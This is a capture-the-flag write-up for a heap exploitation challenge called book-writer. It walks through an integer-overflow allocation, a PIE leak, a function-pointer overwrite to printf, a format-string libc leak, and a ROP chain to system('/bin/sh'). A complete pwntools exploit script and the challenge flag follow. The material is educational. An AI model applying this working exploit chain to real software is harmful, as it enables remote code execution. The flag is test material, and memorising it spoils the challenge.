TL;DR
Integer overflow (n * 128 wraps to 0) → get 0x20 chunk → leak PIE from adjacent heap → overflow into next Book struct → overwrite function pointer to printf → format string leak libc → ROP chain to system("/bin/sh") 📚
Note: This is one of my first CTF writeups! Went through several failed attempts before finding the right path. 🙂
Challenge Overview
Book management application with create/read/write/page turning functions. Heap-based exploitation.
Binary Protections
$ checksec book-writer
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
All protections enabled! 🔒
The Vulnerability
Book Structure
struct Book {
void (*read)(); // Function pointers!
void (*write)();
char title[64];
char *content;
unsigned long pages;
};
Integer Overflow
unsigned long n = strtoul(input, NULL, 10); // No upper bound!
book->content = malloc(n * PG_SIZE); // n * 128 can overflow!
The trick:
n = 0x0800000000000000 # 2^59
n * 128 = 2^66 (mod 2^64) = 0
malloc(0) → returns 0x20 chunk (minimum size)
# But program thinks we have huge number of pages!
Null Byte Problem
Important constraint: get_input() and strncpy() stop at null bytes (\x00). This blocks several attack paths:
- Can’t write GOT addresses (contain nulls)
- Can’t write “/bin/sh\x00” followed by gadgets
- Need creative solutions!
Exploitation
Stage 1: PIE Leak
Create Book1 with overflow (gets 0x20 content), then Book2 normally. When reading Book1, we print 128 bytes but content is only 0x20 → leak into Book2’s function pointers!
add_book(io, b"Book1", str(0x0800000000000000).encode())
add_book(io, b"Book2", b"1")
open_book(io, b"0")
read_page(io)
io.recvuntil(b"\xe9")
leak = b'\xe9' + io.recv(6)
leak = u64(leak.ljust(8, b"\x00"))
exe.address = leak - 0x1e9 - 0x1000
Stage 2: Function Pointer Overwrite
Overflow from Book1 into Book2’s function pointer. We use write pointer (not read) because it gives better register control:
call r8 ; R8 = write function pointer
; RDI = Book* (we control content!)
; RDX = input string
# Overflow with format string + redirect to printf
write_page(io, cyclic(32) + b'%21$p%2$' + p64(exe.symbols['printf']))
Stage 3: Libc Leak
Failed attempt: Tried puts@plt to leak puts@got, but GOT address 0x404018 has null bytes → can’t write it.
Solution: Format string with printf! Since we redirected to printf and RDI points to our Book content:
open_book(io, b"1")
write_page(io, p64(RET)) # Trigger printf
io.recvline()
leak_libc = int(io.recv(14), 16)
libc.address = leak_libc - 0x124a
Format string %21$p leaks a libc address from stack!
Stage 4: ROP Chain
Failed attempts:
- One gadgets → constraints didn’t match
- Direct system("/bin/sh") → can’t write null terminator + gadgets after
Solution: Use libc’s “/bin/sh” string + ROP chain in Book structs:
add_book(io, b"Book3", str(0x0800000000000000).encode())
add_book(io, b"Book4", b"1")
POP_5 = libc.address + 0x17dd # Clean stack
POP_RDI = libc.address + 0x17e5
system = libc.address + 0x26490
binsh = libc.address + 0x170031
# Book3: Pop saved registers
open_book(io, b"2")
write_page(io, cyclic(40) + p64(POP_5))
# Book4: ROP chain
open_book(io, b"3")
write_page(io, p64(POP_RDI) + p64(binsh) + p64(system))
When Book3’s function pointer is called:
- Pops 5 registers (clean stack)
- Pops “/bin/sh” into RDI
- Calls system(RDI) → shell! 🎉
Complete Exploit
#!/usr/bin/env python3
from pwn import *
exe = ELF("book-writer")
libc = ELF("libc.so.6")
context.binary = exe
def conn():
if args.REMOTE:
return remote("127.0.0.1", 4000)
else:
return process([exe.path])
def add_book(io, title, pages):
io.sendlineafter(b"Quitter\n", b"1")
io.sendlineafter(b"livre ?", title)
io.sendlineafter(b"pages ?", pages)
def open_book(io, index):
io.sendlineafter(b"Quitter\n", b"2")
io.sendlineafter(b"livre:", index)
def write_page(io, content):
io.sendlineafter(b"Quitter\n", b"3")
io.sendlineafter(b"?", content)
def read_page(io):
io.sendlineafter(b"Quitter\n", b"4")
def main():
io = conn()
# PIE Leak
add_book(io, b"Book1", str(0x0800000000000000).encode())
add_book(io, b"Book2", b"1")
open_book(io, b"0")
read_page(io)
io.recvuntil(b"\xe9")
leak = b'\xe9' + io.recv(6)
leak = u64(leak.ljust(8, b"\x00"))
exe.address = leak - 0x1e9 - 0x1000
log.success(f"Binary base: {hex(exe.address)}")
RET = exe.address + 0x1016
# Function pointer overwrite + libc leak
write_page(io, cyclic(32) + b'%21$p%2$' + p64(exe.symbols['printf']))
open_book(io, b"1")
write_page(io, p64(RET))
io.recvline()
leak_libc = int(io.recv(14), 16)
libc.address = leak_libc - 0x124a
log.success(f"Libc base: {hex(libc.address)}")
# ROP chain
add_book(io, b"Book3", str(0x0800000000000000).encode())
add_book(io, b"Book4", b"1")
POP_5 = libc.address + 0x17dd
POP_RDI = libc.address + 0x17e5
system = libc.address + 0x26490
binsh = libc.address + 0x170031
open_book(io, b"2")
write_page(io, cyclic(40) + p64(POP_5))
open_book(io, b"3")
write_page(io, p64(POP_RDI) + p64(binsh) + p64(system))
io.interactive()
if __name__ == "__main__":
main()
Lessons Learned
Exploitation techniques:
-
Integer overflow -
n * 128wraparound to get controlled small allocation -
Heap adjacency - Adjacent chunks leak metadata and function pointers
-
Function pointer hijacking - Overwrite to redirect execution
-
Format string - Leak without null bytes when direct approaches fail
-
ROP on heap - Build gadget chains in heap structures, not just stack
Key insight: Null byte restrictions eliminated multiple approaches (GOT leak, direct /bin/sh writing). Sometimes constraints force you to chain more primitives, but that’s the fun part! 🧩
Flag
FCSC{9c0a809cde815acae51618726aa7632af6e4ac9b000653ef8a607cb837995162}
Made with ☕ and heap feng shui - FCSC 2024